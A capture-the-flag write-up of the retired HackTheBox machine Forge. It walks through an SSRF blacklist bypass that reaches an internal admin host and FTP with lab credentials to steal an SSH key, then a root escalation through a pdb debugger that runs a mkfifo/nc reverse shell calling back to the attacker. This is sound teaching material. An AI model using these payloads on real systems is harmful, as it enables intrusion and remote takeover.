Forge Hackthebox writeup

5 minute read

detailed writeup for retired machine Forge From Hackthebox

Scanning :

basic scanning

note : add <ip> forge.htb to the /etc/hosts

nmap -sV -A -T 4 10.10.11.111

output :

PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery

we can run all ports scan in the Background Until we enumerate the ports we have But it won’t return any new .

Enumeration :

port 21 : is Filtered trying to access it

ftp <ip>

returns

ftp: connect: Connection timed out

so it seems we can’t access it Publicly

port 80 : “the web application”

we have some images located at /static/images , knowing that from page source code . so probably image we upload won’t be rendered on this page

and we have upload an image Function with 2 options either from your machine or form url

testing from my machine to upload a .png file and see

it also accepts any extension and assign a random name to it
testing from url :

firing up a python http server at my local machine then watch the request made we can see parameters sent are :

url=http%3A%2F%2F<my_ip>%3A8888%2Ftest.png&remote=1

and it made the request successfully :

10.10.11.111 - - [16/Jan/2022 17:31:20] "GET /test.png HTTP/1.1"

what about internal address ?

trying http://127.0.0.1 result :

URL contains a blacklisted address!

so it makes some filtering in case we try localhost address indicating maybe we are against SSRF .

trying some Bypasses and those doesn’t return Blacklisted message

http://127.1
http://LOCALHOST

trying : file:///etc/passwd returns :

Invalid protocol! Supported protocols: http, https

so now we know the following :

we have ftp running internally
we have ssrf to access local things
accepts http and https only , ftp is not supported

More Enumeration :

Typically in HTB , another Vhost is a common scenario so trying to get Fuzzing it with ffuf

ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million 5000.txt -u http://forge.htb/ -H "Host: FUZZ.forge.htb" -fc 302,404

output:

admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]

add admin.forge.htb to /etc/hosts

trying to access it :

so putting things together we will have one conclusion to continue from :

forge.htb can make a valid request to admin.forge.htb , we can achieve that:

Back to the upload from url vulnerable Function and trying http://admin.forge.htb

returns the blacklist message , so forge.htb seems to Be blocked also.

trying : http://admin.forge.HTB then downloading the page and see contents :

so we have the following directories at the admin.forge.htb

/announcements
/upload
/

Back to the upload from url and requesting

http://admin.forge.HTB/announcements

downloading the page to see the content we can see :

so we have credentials : user:heightofsecurity123!
i tried to ssh with those But it can’t access ssh with a public key so it seems we have to get the id_rsa somehow if we want to ssh into the machine.
so depending on page /announcements we can use ftp:// with the upload page in this admin.forge.HTB .

Foothold :

http://admin.forge.HTB/upload?u=ftp://

But How could we access the ftp with a user:password from web url ?

reading here
we can use the following syntax :

http://admin.forge.HTB/upload?u=ftp://user:heightofsecurity123!@127.1

downloading the content :

drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Jan 17 00:17 user.txt

seems we are in the home directory of user user so let’s try read the id_rsa

using the following url and download content :

http://admin.forge.HTB/upload?u=ftp://user:heightofsecurity123!@127.1/.ssh/id_rsa

chmod 600 id_rsa
ssh -i id_rsa user@10.10.11.111

Privilege escalation :

checking permissions :

-rwxr-xr-x 1 root root 1447 May 31  2021 /opt/remote-manage.py

reading and analyzing the script :

first it sets a listener on a random port
we can only access the port locally so we will get a second ssh session to interact with it .

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()

2- asks for a password and it should = secretadminpassword , then waits for option from 1-4

clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
	clientsock.send(b'Wrong password!\n')
else:
	clientsock.send(b'Welcome admin!\n')
	while True:
		clientsock.send(b'\nWhat do you wanna do: \n')
		clientsock.send(b'[1] View processes\n')
		clientsock.send(b'[2] View free memory\n')
		clientsock.send(b'[3] View listening sockets\n')
		clientsock.send(b'[4] Quit\n')
		option = int(clientsock.recv(1024).strip())

3- options we have :

if option == 1:
    clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
    clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
    clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
        clientsock.send(b'Bye\n')
        break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

if we raise an error it will open a pdb debugger shell which we can abuse to have a reverse shell as root :

the other ssh session to interact with the port listening :

raised the error by typing id while it expects a number and get the pdb shell we can now get a reverse shell :

(/assets/images/Forge/Pdb) import os
(/assets/images/Forge/Pdb) os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <my_ip> 9999 >/tmp/f")

gain root reverse shell :

Pwned

investigation :

we have at /var/www the following :

html forge admin

in the source code we can see :

blacklist = ["forge.htb", "127.0.0.1", "10.10.10.10", "::1", "localhost",
             '0.0.0.0', '[0:0:0:0:0:0:0:0]']

which is not enough Filtering to mitigate SSRF , we have Bypassed that By changing any letter at forge.htb to Uppercase

Hussien Misbah